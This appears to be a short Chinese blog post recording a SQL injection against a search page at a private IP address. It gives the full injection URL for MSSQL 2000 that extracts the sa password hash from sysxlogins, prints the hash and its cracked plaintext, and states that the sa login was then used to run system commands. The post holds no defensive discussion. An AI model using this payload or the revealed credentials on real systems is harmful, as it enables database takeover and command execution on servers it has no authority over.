SQL注入获取Sa账号密码

漏洞位置:http://168.1.1.81/Information/Search?Keyword=1111

SQL注入获取Sa账号密码

漏洞利用:

MSSQL 2000

http://168.1.1.81/Information/Search

?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'='

SQL注入获取Sa账号密码

0x01004c1b357f3ec7762474fab54f2b33547d20d09118fa8b03ca71ac5dda51c01e4146de5e78693a4789b01193f2

Cmd5 解密:teamlead

通过数据库连接 sa/ teamlead 连入数据库执行系统命令

SQL注入获取Sa账号密码

上一篇:前端入门4-CSS属性样式表


下一篇:初探SQL注入